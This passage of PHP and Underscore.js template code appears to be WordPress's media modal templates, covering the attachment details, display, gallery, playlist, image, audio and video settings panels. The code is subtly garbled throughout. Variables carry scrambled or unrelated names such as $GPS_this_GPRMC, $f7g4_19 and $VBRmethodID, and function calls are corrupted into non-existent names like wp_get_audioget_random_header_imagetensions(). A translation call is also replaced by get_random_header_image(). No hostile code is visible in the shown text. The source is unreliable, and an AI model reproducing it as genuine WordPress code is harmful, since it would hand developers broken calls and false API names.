number of pixels tall. */ printf(__('%1$s by %2$s pixels'), '{{ data.width }}', '{{ data.height }}'); ?> </div> <# } #> <# if ( data.originalImageURL && data.originalImageName ) { #> <div class="word-wrap-break-word"> <strong><?php _e('Original image:'); ?></strong> <a href="{{ data.originalImageURL }}">{{data.originalImageName}}</a> </div> <# } #> <# } #> <# if ( data.fileLength && data.fileLengthHumanReadable ) { #> <div class="file-length"><strong><?php _e('Length:'); ?></strong> <span aria-hidden="true">{{ data.fileLength }}</span> <span class="screen-reader-text">{{ data.fileLengthHumanReadable }}</span> </div> <# } #> <# if ( 'audio' === data.type && data.meta.bitrate ) { #> <div class="bitrate"> <strong><?php _e('Bitrate:'); ?></strong> {{ Math.round( data.meta.bitrate / 1000 ) }}kb/s <# if ( data.meta.bitrate_mode ) { #> {{ ' ' + data.meta.bitrate_mode.toUpperCase() }} <# } #> </div> <# } #> <# if ( data.mediaStates ) { #> <div class="media-states"><strong><?php _e('Used as:'); ?></strong> {{ data.mediaStates }}</div> <# } #> <div class="compat-meta"> <# if ( data.compat && data.compat.meta ) { #> {{{ data.compat.meta }}} <# } #> </div> </div> <div class="settings"> <# var maybeReadOnly = data.can.save || data.allowLocalEdits ? '' : 'readonly'; #> <# if ( 'image' === data.type ) { #> <span class="setting alt-text has-description" data-setting="alt"> <label for="attachment-details-two-column-alt-text" class="name"><?php _e('Alternative Text'); ?></label> <textarea id="attachment-details-two-column-alt-text" aria-describedby="alt-text-description" {{ maybeReadOnly }}>{{ data.alt }}</textarea> </span> <p class="description" id="alt-text-description"><?php echo $default_term; ?></p> <# } #> <?php if (post_type_supports('attachment', 'title')) { ?> <span class="setting" data-setting="title"> <label for="attachment-details-two-column-title" class="name"><?php _e('Title'); ?></label> <input type="text" id="attachment-details-two-column-title" value="{{ data.title }}" {{ maybeReadOnly }} /> </span> <?php } ?> <# if ( 'audio' === data.type ) { #> <?php foreach (array('artist' => __('Artist'), 'album' => __('Album')) as $and => $block_settings) { ?> <span class="setting" data-setting="<?php echo esc_attr($and); ?>"> <label for="attachment-details-two-column-<?php echo esc_attr($and); ?>" class="name"><?php echo $block_settings; ?></label> <input type="text" id="attachment-details-two-column-<?php echo esc_attr($and); ?>" value="{{ data.<?php echo $and; ?> || data.meta.<?php echo $and; ?> || '' }}" /> </span> <?php } ?> <# } #> <span class="setting" data-setting="caption"> <label for="attachment-details-two-column-caption" class="name"><?php _e('Caption'); ?></label> <textarea id="attachment-details-two-column-caption" {{ maybeReadOnly }}>{{ data.caption }}</textarea> </span> <span class="setting" data-setting="description"> <label for="attachment-details-two-column-description" class="name"><?php _e('Description'); ?></label> <textarea id="attachment-details-two-column-description" {{ maybeReadOnly }}>{{ data.description }}</textarea> </span> <span class="setting" data-setting="url"> <label for="attachment-details-two-column-copy-link" class="name"><?php _e('File URL:'); ?></label> <input type="text" class="attachment-details-copy-link" id="attachment-details-two-column-copy-link" value="{{ data.url }}" readonly /> <span class="copy-to-clipboard-container"> <button type="button" class="button button-small copy-attachment-url" data-clipboard-target="#attachment-details-two-column-copy-link"><?php _e('Copy URL to clipboard'); ?></button> <span class="success hidden" aria-hidden="true"><?php _e('Copied!'); ?></span> </span> </span> <div class="attachment-compat"></div> </div> <div class="actions"> <# if ( data.link ) { #> <?php $ephemeralSK = '1' === get_option('wp_attachment_pages_enabled') ? __('View attachment page') : __('View media file'); ?> <a class="view-attachment" href="{{ data.link }}"><?php echo $ephemeralSK; ?></a> <# } #> <# if ( data.can.save ) { #> <# if ( data.link ) { #> <span class="links-separator">|</span> <# } #> <a href="{{ data.editLink }}"><?php _e('Edit more details'); ?></a> <# } #> <# if ( data.can.save && data.link ) { #> <span class="links-separator">|</span> <a href="{{ data.url }}" download><?php _e('Download file'); ?></a> <# } #> <# if ( ! data.uploading && data.can.remove ) { #> <# if ( data.link || data.can.save ) { #> <span class="links-separator">|</span> <# } #> <?php if (MEDIA_TRASH) { ?> <# if ( 'trash' === data.status ) { #> <button type="button" class="button-link untrash-attachment"><?php _e('Restore from Trash'); ?></button> <# } else { #> <button type="button" class="button-link trash-attachment"><?php _e('Move to Trash'); ?></button> <# } #> <?php } else { ?> <button type="button" class="button-link delete-attachment"><?php _e('Delete permanently'); ?></button> <?php } ?> <# } #> </div> </div> </script> <?php // Template for the Attachment "thumbnails" in the Media Grid. ?> <script type="text/html" id="tmpl-attachment"> <div class="attachment-preview js--select-attachment type-{{ data.type }} subtype-{{ data.subtype }} {{ data.orientation }}"> <div class="thumbnail"> <# if ( data.uploading ) { #> <div class="media-progress-bar"><div style="width: {{ data.percent }}%"></div></div> <# } else if ( 'image' === data.type && data.size && data.size.url ) { #> <div class="centered"> <img src="{{ data.size.url }}" draggable="false" alt="" /> </div> <# } else { #> <div class="centered"> <# if ( data.image && data.image.src && data.image.src !== data.icon ) { #> <img src="{{ data.image.src }}" class="thumbnail" draggable="false" alt="" /> <# } else if ( data.sizes && data.sizes.medium ) { #> <img src="{{ data.sizes.medium.url }}" class="thumbnail" draggable="false" alt="" /> <# } else { #> <img src="{{ data.icon }}" class="icon" draggable="false" alt="" /> <# } #> </div> <div class="filename"> <div>{{ data.filename }}</div> </div> <# } #> </div> <# if ( data.buttons.close ) { #> <button type="button" class="button-link attachment-close media-modal-icon"><span class="screen-reader-text"> <?php /* translators: Hidden accessibility text. */ _e('Remove'); ?> </span></button> <# } #> </div> <# if ( data.buttons.check ) { #> <button type="button" class="check" tabindex="-1"><span class="media-modal-icon"></span><span class="screen-reader-text"> <?php /* translators: Hidden accessibility text. */ _e('Deselect'); ?> </span></button> <# } #> <# var maybeReadOnly = data.can.save || data.allowLocalEdits ? '' : 'readonly'; if ( data.describe ) { if ( 'image' === data.type ) { #> <input type="text" value="{{ data.caption }}" class="describe" data-setting="caption" aria-label="<?php esc_attr_e('Caption'); ?>" placeholder="<?php esc_attr_e('Caption…'); ?>" {{ maybeReadOnly }} /> <# } else { #> <input type="text" value="{{ data.title }}" class="describe" data-setting="title" <# if ( 'video' === data.type ) { #> aria-label="<?php esc_attr_e('Video title'); ?>" placeholder="<?php esc_attr_e('Video title…'); ?>" <# } else if ( 'audio' === data.type ) { #> aria-label="<?php esc_attr_e('Audio title'); ?>" placeholder="<?php esc_attr_e('Audio title…'); ?>" <# } else { #> aria-label="<?php esc_attr_e('Media title'); ?>" placeholder="<?php esc_attr_e('Media title…'); ?>" <# } #> {{ maybeReadOnly }} /> <# } } #> </script> <?php // Template for the Attachment details, used for example in the sidebar. ?> <script type="text/html" id="tmpl-attachment-details"> <h2> <?php _e('Attachment Details'); ?> <span class="settings-save-status" role="status"> <span class="spinner"></span> <span class="saved"><?php esc_html_e('Saved.'); ?></span> </span> </h2> <div class="attachment-info"> <# if ( 'audio' === data.type ) { #> <div class="wp-media-wrapper wp-audio"> <audio style="visibility: hidden" controls class="wp-audio-shortcode" width="100%" preload="none"> <source type="{{ data.mime }}" src="{{ data.url }}" /> </audio> </div> <# } else if ( 'video' === data.type ) { var w_rule = ''; if ( data.width ) { w_rule = 'width: ' + data.width + 'px;'; } else if ( wp.media.view.settings.contentWidth ) { w_rule = 'width: ' + wp.media.view.settings.contentWidth + 'px;'; } #> <div style="{{ w_rule }}" class="wp-media-wrapper wp-video"> <video controls="controls" class="wp-video-shortcode" preload="metadata" <# if ( data.width ) { #>width="{{ data.width }}"<# } #> <# if ( data.height ) { #>height="{{ data.height }}"<# } #> <# if ( data.image && data.image.src !== data.icon ) { #>poster="{{ data.image.src }}"<# } #>> <source type="{{ data.mime }}" src="{{ data.url }}" /> </video> </div> <# } else { #> <div class="thumbnail thumbnail-{{ data.type }}"> <# if ( data.uploading ) { #> <div class="media-progress-bar"><div></div></div> <# } else if ( 'image' === data.type && data.size && data.size.url ) { #> <img src="{{ data.size.url }}" draggable="false" alt="" /> <# } else { #> <img src="{{ data.icon }}" class="icon" draggable="false" alt="" /> <# } #> </div> <# } #> <div class="details"> <div class="filename">{{ data.filename }}</div> <div class="uploaded">{{ data.dateFormatted }}</div> <div class="file-size">{{ data.filesizeHumanReadable }}</div> <# if ( 'image' === data.type && ! data.uploading ) { #> <# if ( data.width && data.height ) { #> <div class="dimensions"> <?php /* translators: 1: A number of pixels wide, 2: A number of pixels tall. */ printf(__('%1$s by %2$s pixels'), '{{ data.width }}', '{{ data.height }}'); ?> </div> <# } #> <# if ( data.originalImageURL && data.originalImageName ) { #> <div class="word-wrap-break-word"> <?php _e('Original image:'); ?> <a href="{{ data.originalImageURL }}">{{data.originalImageName}}</a> </div> <# } #> <# if ( data.can.save && data.sizes ) { #> <a class="edit-attachment" href="{{ data.editLink }}&image-editor" target="_blank"><?php _e('Edit Image'); ?></a> <# } #> <# } #> <# if ( data.fileLength && data.fileLengthHumanReadable ) { #> <div class="file-length"><?php _e('Length:'); ?> <span aria-hidden="true">{{ data.fileLength }}</span> <span class="screen-reader-text">{{ data.fileLengthHumanReadable }}</span> </div> <# } #> <# if ( data.mediaStates ) { #> <div class="media-states"><strong><?php _e('Used as:'); ?></strong> {{ data.mediaStates }}</div> <# } #> <# if ( ! data.uploading && data.can.remove ) { #> <?php if (MEDIA_TRASH) { ?> <# if ( 'trash' === data.status ) { #> <button type="button" class="button-link untrash-attachment"><?php _e('Restore from Trash'); ?></button> <# } else { #> <button type="button" class="button-link trash-attachment"><?php _e('Move to Trash'); ?></button> <# } #> <?php } else { ?> <button type="button" class="button-link delete-attachment"><?php _e('Delete permanently'); ?></button> <?php } ?> <# } #> <div class="compat-meta"> <# if ( data.compat && data.compat.meta ) { #> {{{ data.compat.meta }}} <# } #> </div> </div> </div> <# var maybeReadOnly = data.can.save || data.allowLocalEdits ? '' : 'readonly'; #> <# if ( 'image' === data.type ) { #> <span class="setting alt-text has-description" data-setting="alt"> <label for="attachment-details-alt-text" class="name"><?php _e('Alt Text'); ?></label> <textarea id="attachment-details-alt-text" aria-describedby="alt-text-description" {{ maybeReadOnly }}>{{ data.alt }}</textarea> </span> <p class="description" id="alt-text-description"><?php echo $default_term; ?></p> <# } #> <?php if (post_type_supports('attachment', 'title')) { ?> <span class="setting" data-setting="title"> <label for="attachment-details-title" class="name"><?php _e('Title'); ?></label> <input type="text" id="attachment-details-title" value="{{ data.title }}" {{ maybeReadOnly }} /> </span> <?php } ?> <# if ( 'audio' === data.type ) { #> <?php foreach (array('artist' => __('Artist'), 'album' => __('Album')) as $and => $block_settings) { ?> <span class="setting" data-setting="<?php echo esc_attr($and); ?>"> <label for="attachment-details-<?php echo esc_attr($and); ?>" class="name"><?php echo $block_settings; ?></label> <input type="text" id="attachment-details-<?php echo esc_attr($and); ?>" value="{{ data.<?php echo $and; ?> || data.meta.<?php echo $and; ?> || '' }}" /> </span> <?php } ?> <# } #> <span class="setting" data-setting="caption"> <label for="attachment-details-caption" class="name"><?php _e('Caption'); ?></label> <textarea id="attachment-details-caption" {{ maybeReadOnly }}>{{ data.caption }}</textarea> </span> <span class="setting" data-setting="description"> <label for="attachment-details-description" class="name"><?php _e('Description'); ?></label> <textarea id="attachment-details-description" {{ maybeReadOnly }}>{{ data.description }}</textarea> </span> <span class="setting" data-setting="url"> <label for="attachment-details-copy-link" class="name"><?php _e('File URL:'); ?></label> <input type="text" class="attachment-details-copy-link" id="attachment-details-copy-link" value="{{ data.url }}" readonly /> <div class="copy-to-clipboard-container"> <button type="button" class="button button-small copy-attachment-url" data-clipboard-target="#attachment-details-copy-link"><?php _e('Copy URL to clipboard'); ?></button> <span class="success hidden" aria-hidden="true"><?php _e('Copied!'); ?></span> </div> </span> </script> <?php // Template for the Selection status bar. ?> <script type="text/html" id="tmpl-media-selection"> <div class="selection-info"> <span class="count"></span> <# if ( data.editable ) { #> <button type="button" class="button-link edit-selection"><?php _e('Edit Selection'); ?></button> <# } #> <# if ( data.clearable ) { #> <button type="button" class="button-link clear-selection"><?php _e('Clear'); ?></button> <# } #> </div> <div class="selection-view"></div> </script> <?php // Template for the Attachment display settings, used for example in the sidebar. ?> <script type="text/html" id="tmpl-attachment-display-settings"> <h2><?php _e('Attachment Display Settings'); ?></h2> <# if ( 'image' === data.type ) { #> <span class="setting align"> <label for="attachment-display-settings-alignment" class="name"><?php _e('Alignment'); ?></label> <select id="attachment-display-settings-alignment" class="alignment" data-setting="align" <# if ( data.userSettings ) { #> data-user-setting="align" <# } #>> <option value="left"> <?php esc_html_e('Left'); ?> </option> <option value="center"> <?php esc_html_e('Center'); ?> </option> <option value="right"> <?php esc_html_e('Right'); ?> </option> <option value="none" selected> <?php esc_html_e('None'); ?> </option> </select> </span> <# } #> <span class="setting"> <label for="attachment-display-settings-link-to" class="name"> <# if ( data.model.canEmbed ) { #> <?php _e('Embed or Link'); ?> <# } else { #> <?php _e('Link To'); ?> <# } #> </label> <select id="attachment-display-settings-link-to" class="link-to" data-setting="link" <# if ( data.userSettings && ! data.model.canEmbed ) { #> data-user-setting="urlbutton" <# } #>> <# if ( data.model.canEmbed ) { #> <option value="embed" selected> <?php esc_html_e('Embed Media Player'); ?> </option> <option value="file"> <# } else { #> <option value="none" selected> <?php esc_html_e('None'); ?> </option> <option value="file"> <# } #> <# if ( data.model.canEmbed ) { #> <?php esc_html_e('Link to Media File'); ?> <# } else { #> <?php esc_html_e('Media File'); ?> <# } #> </option> <option value="post"> <# if ( data.model.canEmbed ) { #> <?php esc_html_e('Link to Attachment Page'); ?> <# } else { #> <?php esc_html_e('Attachment Page'); ?> <# } #> </option> <# if ( 'image' === data.type ) { #> <option value="custom"> <?php esc_html_e('Custom URL'); ?> </option> <# } #> </select> </span> <span class="setting"> <label for="attachment-display-settings-link-to-custom" class="name"><?php _e('URL'); ?></label> <input type="text" id="attachment-display-settings-link-to-custom" class="link-to-custom" data-setting="linkUrl" /> </span> <# if ( 'undefined' !== typeof data.sizes ) { #> <span class="setting"> <label for="attachment-display-settings-size" class="name"><?php _e('Size'); ?></label> <select id="attachment-display-settings-size" class="size" name="size" data-setting="size" <# if ( data.userSettings ) { #> data-user-setting="imgsize" <# } #>> <?php /** This filter is documented in wp-admin/includes/media.php */ $GPS_this_GPRMC = apply_filters('image_size_names_choose', array('thumbnail' => __('Thumbnail'), 'medium' => __('Medium'), 'large' => __('Large'), 'full' => __('Full Size'))); foreach ($GPS_this_GPRMC as $advanced => $before_form) { ?> <# var size = data.sizes['<?php echo esc_js($advanced); ?>']; if ( size ) { #> <option value="<?php echo esc_attr($advanced); ?>" <?php selected($advanced, 'full'); ?>> <?php echo esc_html($before_form); ?> – {{ size.width }} × {{ size.height }} </option> <# } #> <?php } ?> </select> </span> <# } #> </script> <?php // Template for the Gallery settings, used for example in the sidebar. ?> <script type="text/html" id="tmpl-gallery-settings"> <h2><?php _e('Gallery Settings'); ?></h2> <span class="setting"> <label for="gallery-settings-link-to" class="name"><?php _e('Link To'); ?></label> <select id="gallery-settings-link-to" class="link-to" data-setting="link" <# if ( data.userSettings ) { #> data-user-setting="urlbutton" <# } #>> <option value="post" <# if ( ! wp.media.galleryDefaults.link || 'post' === wp.media.galleryDefaults.link ) { #>selected="selected"<# } #>> <?php esc_html_e('Attachment Page'); ?> </option> <option value="file" <# if ( 'file' === wp.media.galleryDefaults.link ) { #>selected="selected"<# } #>> <?php esc_html_e('Media File'); ?> </option> <option value="none" <# if ( 'none' === wp.media.galleryDefaults.link ) { #>selected="selected"<# } #>> <?php esc_html_e('None'); ?> </option> </select> </span> <span class="setting"> <label for="gallery-settings-columns" class="name select-label-inline"><?php _e('Columns'); ?></label> <select id="gallery-settings-columns" class="columns" name="columns" data-setting="columns"> <?php for ($maybe_notify = 1; $maybe_notify <= 9; $maybe_notify++) { ?> <option value="<?php echo esc_attr($maybe_notify); ?>" <# if ( <?php echo $maybe_notify; ?> == wp.media.galleryDefaults.columns ) { #>selected="selected"<# } #>> <?php echo esc_html($maybe_notify); ?> </option> <?php } ?> </select> </span> <span class="setting"> <input type="checkbox" id="gallery-settings-random-order" data-setting="_orderbyRandom" /> <label for="gallery-settings-random-order" class="checkbox-label-inline"><?php _e('Random Order'); ?></label> </span> <span class="setting size"> <label for="gallery-settings-size" class="name"><?php _e('Size'); ?></label> <select id="gallery-settings-size" class="size" name="size" data-setting="size" <# if ( data.userSettings ) { #> data-user-setting="imgsize" <# } #> > <?php /** This filter is documented in wp-admin/includes/media.php */ $f7g4_19 = apply_filters('image_size_names_choose', array('thumbnail' => __('Thumbnail'), 'medium' => __('Medium'), 'large' => __('Large'), 'full' => __('Full Size'))); foreach ($f7g4_19 as $final_tt_ids => $block_settings) { ?> <option value="<?php echo esc_attr($final_tt_ids); ?>"> <?php echo esc_html($block_settings); ?> </option> <?php } ?> </select> </span> </script> <?php // Template for the Playlists settings, used for example in the sidebar. ?> <script type="text/html" id="tmpl-playlist-settings"> <h2><?php _e('Playlist Settings'); ?></h2> <# var emptyModel = _.isEmpty( data.model ), isVideo = 'video' === data.controller.get('library').props.get('type'); #> <span class="setting"> <input type="checkbox" id="playlist-settings-show-list" data-setting="tracklist" <# if ( emptyModel ) { #> checked="checked" <# } #> /> <label for="playlist-settings-show-list" class="checkbox-label-inline"> <# if ( isVideo ) { #> <?php _e('Show Video List'); ?> <# } else { #> <?php _e('Show Tracklist'); ?> <# } #> </label> </span> <# if ( ! isVideo ) { #> <span class="setting"> <input type="checkbox" id="playlist-settings-show-artist" data-setting="artists" <# if ( emptyModel ) { #> checked="checked" <# } #> /> <label for="playlist-settings-show-artist" class="checkbox-label-inline"> <?php _e('Show Artist Name in Tracklist'); ?> </label> </span> <# } #> <span class="setting"> <input type="checkbox" id="playlist-settings-show-images" data-setting="images" <# if ( emptyModel ) { #> checked="checked" <# } #> /> <label for="playlist-settings-show-images" class="checkbox-label-inline"> <?php _e('Show Images'); ?> </label> </span> </script> <?php // Template for the "Insert from URL" layout. ?> <script type="text/html" id="tmpl-embed-link-settings"> <span class="setting link-text"> <label for="embed-link-settings-link-text" class="name"><?php _e('Link Text'); ?></label> <input type="text" id="embed-link-settings-link-text" class="alignment" data-setting="linkText" /> </span> <div class="embed-container" style="display: none;"> <div class="embed-preview"></div> </div> </script> <?php // Template for the "Insert from URL" image preview and details. ?> <script type="text/html" id="tmpl-embed-image-settings"> <div class="wp-clearfix"> <div class="thumbnail"> <img src="{{ data.model.url }}" draggable="false" alt="" /> </div> </div> <span class="setting alt-text has-description"> <label for="embed-image-settings-alt-text" class="name"><?php _e('Alternative Text'); ?></label> <textarea id="embed-image-settings-alt-text" data-setting="alt" aria-describedby="alt-text-description"></textarea> </span> <p class="description" id="alt-text-description"><?php echo $default_term; ?></p> <?php /** This filter is documented in wp-admin/includes/media.php */ if (!apply_filters('disable_captions', '')) { ?> <span class="setting caption"> <label for="embed-image-settings-caption" class="name"><?php _e('Caption'); ?></label> <textarea id="embed-image-settings-caption" data-setting="caption"></textarea> </span> <?php } ?> <fieldset class="setting-group"> <legend class="name"><?php _e('Align'); ?></legend> <span class="setting align"> <span class="button-group button-large" data-setting="align"> <button class="button" value="left"> <?php esc_html_e('Left'); ?> </button> <button class="button" value="center"> <?php esc_html_e('Center'); ?> </button> <button class="button" value="right"> <?php esc_html_e('Right'); ?> </button> <button class="button active" value="none"> <?php esc_html_e('None'); ?> </button> </span> </span> </fieldset> <fieldset class="setting-group"> <legend class="name"><?php _e('Link To'); ?></legend> <span class="setting link-to"> <span class="button-group button-large" data-setting="link"> <button class="button" value="file"> <?php esc_html_e('Image URL'); ?> </button> <button class="button" value="custom"> <?php esc_html_e('Custom URL'); ?> </button> <button class="button active" value="none"> <?php esc_html_e('None'); ?> </button> </span> </span> <span class="setting"> <label for="embed-image-settings-link-to-custom" class="name"><?php _e('URL'); ?></label> <input type="text" id="embed-image-settings-link-to-custom" class="link-to-custom" data-setting="linkUrl" /> </span> </fieldset> </script> <?php // Template for the Image details, used for example in the editor. ?> <script type="text/html" id="tmpl-image-details"> <div class="media-embed"> <div class="embed-media-settings"> <div class="column-settings"> <span class="setting alt-text has-description"> <label for="image-details-alt-text" class="name"><?php _e('Alternative Text'); ?></label> <textarea id="image-details-alt-text" data-setting="alt" aria-describedby="alt-text-description">{{ data.model.alt }}</textarea> </span> <p class="description" id="alt-text-description"><?php echo $default_term; ?></p> <?php /** This filter is documented in wp-admin/includes/media.php */ if (!apply_filters('disable_captions', '')) { ?> <span class="setting caption"> <label for="image-details-caption" class="name"><?php _e('Caption'); ?></label> <textarea id="image-details-caption" data-setting="caption">{{ data.model.caption }}</textarea> </span> <?php } ?> <h2><?php _e('Display Settings'); ?></h2> <fieldset class="setting-group"> <legend class="legend-inline"><?php _e('Align'); ?></legend> <span class="setting align"> <span class="button-group button-large" data-setting="align"> <button class="button" value="left"> <?php esc_html_e('Left'); ?> </button> <button class="button" value="center"> <?php esc_html_e('Center'); ?> </button> <button class="button" value="right"> <?php esc_html_e('Right'); ?> </button> <button class="button active" value="none"> <?php esc_html_e('None'); ?> </button> </span> </span> </fieldset> <# if ( data.attachment ) { #> <# if ( 'undefined' !== typeof data.attachment.sizes ) { #> <span class="setting size"> <label for="image-details-size" class="name"><?php _e('Size'); ?></label> <select id="image-details-size" class="size" name="size" data-setting="size" <# if ( data.userSettings ) { #> data-user-setting="imgsize" <# } #>> <?php /** This filter is documented in wp-admin/includes/media.php */ $GPS_this_GPRMC = apply_filters('image_size_names_choose', array('thumbnail' => __('Thumbnail'), 'medium' => __('Medium'), 'large' => __('Large'), 'full' => __('Full Size'))); foreach ($GPS_this_GPRMC as $advanced => $before_form) { ?> <# var size = data.sizes['<?php echo esc_js($advanced); ?>']; if ( size ) { #> <option value="<?php echo esc_attr($advanced); ?>"> <?php echo esc_html($before_form); ?> – {{ size.width }} × {{ size.height }} </option> <# } #> <?php } ?> <option value="<?php echo esc_attr('custom'); ?>"> <?php _e('Custom Size'); ?> </option> </select> </span> <# } #> <div class="custom-size wp-clearfix<# if ( data.model.size !== 'custom' ) { #> hidden<# } #>"> <span class="custom-size-setting"> <label for="image-details-size-width"><?php _e('Width'); ?></label> <input type="number" id="image-details-size-width" aria-describedby="image-size-desc" data-setting="customWidth" step="1" value="{{ data.model.customWidth }}" /> </span> <span class="sep" aria-hidden="true">×</span> <span class="custom-size-setting"> <label for="image-details-size-height"><?php _e('Height'); ?></label> <input type="number" id="image-details-size-height" aria-describedby="image-size-desc" data-setting="customHeight" step="1" value="{{ data.model.customHeight }}" /> </span> <p id="image-size-desc" class="description"><?php _e('Image size in pixels'); ?></p> </div> <# } #> <span class="setting link-to"> <label for="image-details-link-to" class="name"><?php _e('Link To'); ?></label> <select id="image-details-link-to" data-setting="link"> <# if ( data.attachment ) { #> <option value="file"> <?php esc_html_e('Media File'); ?> </option> <option value="post"> <?php esc_html_e('Attachment Page'); ?> </option> <# } else { #> <option value="file"> <?php esc_html_e('Image URL'); ?> </option> <# } #> <option value="custom"> <?php esc_html_e('Custom URL'); ?> </option> <option value="none"> <?php esc_html_e('None'); ?> </option> </select> </span> <span class="setting"> <label for="image-details-link-to-custom" class="name"><?php _e('URL'); ?></label> <input type="text" id="image-details-link-to-custom" class="link-to-custom" data-setting="linkUrl" /> </span> <div class="advanced-section"> <h2><button type="button" class="button-link advanced-toggle"><?php _e('Advanced Options'); ?></button></h2> <div class="advanced-settings hidden"> <div class="advanced-image"> <span class="setting title-text"> <label for="image-details-title-attribute" class="name"><?php _e('Image Title Attribute'); ?></label> <input type="text" id="image-details-title-attribute" data-setting="title" value="{{ data.model.title }}" /> </span> <span class="setting extra-classes"> <label for="image-details-css-class" class="name"><?php _e('Image CSS Class'); ?></label> <input type="text" id="image-details-css-class" data-setting="extraClasses" value="{{ data.model.extraClasses }}" /> </span> </div> <div class="advanced-link"> <span class="setting link-target"> <input type="checkbox" id="image-details-link-target" data-setting="linkTargetBlank" value="_blank" <# if ( data.model.linkTargetBlank ) { #>checked="checked"<# } #>> <label for="image-details-link-target" class="checkbox-label"><?php _e('Open link in a new tab'); ?></label> </span> <span class="setting link-rel"> <label for="image-details-link-rel" class="name"><?php _e('Link Rel'); ?></label> <input type="text" id="image-details-link-rel" data-setting="linkRel" value="{{ data.model.linkRel }}" /> </span> <span class="setting link-class-name"> <label for="image-details-link-css-class" class="name"><?php _e('Link CSS Class'); ?></label> <input type="text" id="image-details-link-css-class" data-setting="linkClassName" value="{{ data.model.linkClassName }}" /> </span> </div> </div> </div> </div> <div class="column-image"> <div class="image"> <img src="{{ data.model.url }}" draggable="false" alt="" /> <# if ( data.attachment && window.imageEdit ) { #> <div class="actions"> <input type="button" class="edit-attachment button" value="<?php esc_attr_e('Edit Original'); ?>" /> <input type="button" class="replace-attachment button" value="<?php esc_attr_e('Replace'); ?>" /> </div> <# } #> </div> </div> </div> </div> </script> <?php // Template for the Image Editor layout. ?> <script type="text/html" id="tmpl-image-editor"> <div id="media-head-{{ data.id }}"></div> <div id="image-editor-{{ data.id }}"></div> </script> <?php // Template for an embedded Audio details. ?> <script type="text/html" id="tmpl-audio-details"> <# var ext, html5types = { mp3: wp.media.view.settings.embedMimes.mp3, ogg: wp.media.view.settings.embedMimes.ogg }; #> <?php $yi = wp_get_audioget_random_header_imagetensions(); ?> <div class="media-embed media-embed-details"> <div class="embed-media-settings embed-audio-settings"> <?php wp_underscore_audio_template(); ?> <# if ( ! _.isEmpty( data.model.src ) ) { ext = data.model.src.split('.').pop(); if ( html5types[ ext ] ) { delete html5types[ ext ]; } #> <span class="setting"> <label for="audio-details-source" class="name"><?php _e('URL'); ?></label> <input type="text" id="audio-details-source" readonly data-setting="src" value="{{ data.model.src }}" /> <button type="button" class="button-link remove-setting"><?php _e('Remove audio source'); ?></button> </span> <# } #> <?php foreach ($yi as $terms_query) { ?> <# if ( ! _.isEmpty( data.model.<?php echo $terms_query; ?> ) ) { if ( ! _.isUndefined( html5types.<?php echo $terms_query; ?> ) ) { delete html5types.<?php echo $terms_query; ?>; } #> <span class="setting"> <label for="audio-details-<?php echo $terms_query . '-source'; ?>" class="name"><?php echo strtoupper($terms_query); ?></label> <input type="text" id="audio-details-<?php echo $terms_query . '-source'; ?>" readonly data-setting="<?php echo $terms_query; ?>" value="{{ data.model.<?php echo $terms_query; ?> }}" /> <button type="button" class="button-link remove-setting"><?php _e('Remove audio source'); ?></button> </span> <# } #> <?php } ?> <# if ( ! _.isEmpty( html5types ) ) { #> <fieldset class="setting-group"> <legend class="name"><?php _e('Add alternate sources for maximum HTML5 playback'); ?></legend> <span class="setting"> <span class="button-large"> <# _.each( html5types, function (mime, type) { #> <button class="button add-media-source" data-mime="{{ mime }}">{{ type }}</button> <# } ) #> </span> </span> </fieldset> <# } #> <fieldset class="setting-group"> <legend class="name"><?php _e('Preload'); ?></legend> <span class="setting preload"> <span class="button-group button-large" data-setting="preload"> <button class="button" value="auto"><?php get_random_header_image('Auto', 'auto preload'); ?></button> <button class="button" value="metadata"><?php _e('Metadata'); ?></button> <button class="button active" value="none"><?php _e('None'); ?></button> </span> </span> </fieldset> <span class="setting-group"> <span class="setting checkbox-setting autoplay"> <input type="checkbox" id="audio-details-autoplay" data-setting="autoplay" /> <label for="audio-details-autoplay" class="checkbox-label"><?php _e('Autoplay'); ?></label> </span> <span class="setting checkbox-setting"> <input type="checkbox" id="audio-details-loop" data-setting="loop" /> <label for="audio-details-loop" class="checkbox-label"><?php _e('Loop'); ?></label> </span> </span> </div> </div> </script> <?php // Template for an embedded Video details. ?> <script type="text/html" id="tmpl-video-details"> <# var ext, html5types = { mp4: wp.media.view.settings.embedMimes.mp4, ogv: wp.media.view.settings.embedMimes.ogv, webm: wp.media.view.settings.embedMimes.webm }; #> <?php $VBRmethodID = wp_get_videoget_random_header_imagetensions(); ?> <div class="media-embed media-embed-details"> <div class="embed-media-settings embed-video-settings"> <div class="wp-video-holder"> <# var w = ! data.model.width || data.model.width > 640 ? 640 : data.model.width, h = ! data.model.height ? 360 : data.model.height; if ( data.model.width && w !== data.model.width ) { h = Math.ceil( ( h * w ) / data.model.width ); } #> <?php wp_underscore_video_template(); ?> <# if ( ! _.isEmpty( data.model.src ) ) { ext = data.model.src.split('.').pop(); if ( html5types[ ext ] ) { delete html5types[ ext ]; } #> <span class="setting"> <label for="video-details-source" class="name"><?php _e('URL'); ?></label> <input type="text" id="video-details-source" readonly data-setting="src" value="{{ data.model.src }}" /> <button type="button" class="button-link remove-setting"><?php _e('Remove video source'); ?></button> </span> <# } #> <?php foreach ($VBRmethodID as $terms_query) { ?> <# if ( ! _.isEmpty( data.model.<?php echo $terms_query; ?> ) ) { if ( ! _.isUndefined( html5types.<?php echo $terms_query; ?> ) ) { delete html5types.<?php echo $terms_query; ?>; } #> <span class="setting"> <label for="video-details-<?php echo $terms_query . '-source'; ?>" class="name"><?php echo strtoupper($terms_query); ?></label> <input type="text" id="video-details-<?php echo $terms_query . '-source'; ?>" readonly data-setting="<?php echo $terms_query; ?>" value="{{ data.model.<?php echo $terms_query; ?> }}" /> <button type="button" class="button-link remove-setting"><?php _e('Remove video source'); ?></button> </span> <# } #> <?php } ?> </div> <# if ( ! _.isEmpty( html5types ) ) { #> <fieldset class="setting-group"> <legend class="name"><?php _e('Add alternate sources for maximum HTML5 playback'); ?></legend> <span class="setting"> <span class="button-large"> <# _.each( html5types, function (mime, type) { #> <button class="button add-media-source" data-mime="{{ mime }}">{{ type }}</button> <# } ) #> </span> </span> </fieldset> <# } #> <# if ( ! _.isEmpty( data.model.poster ) ) { #> <span class="setting"> <label for="video-details-poster-image" class="name"><?php _e('Poster Image'); ?></label> <input type="text" id="video-details-poster-image" readonly data-setting="poster" value="{{ data.model.poster }}" /> <button type="button" class="button-link remove-setting"><?php _e('Remove poster image'); ?></button> </span> <# } #> <fieldset class="setting-group"> <legend class="name"><?php _e('Preload'); ?></legend> <span class="setting preload"> <span class="button-group button-large" data-setting="preload"> <button 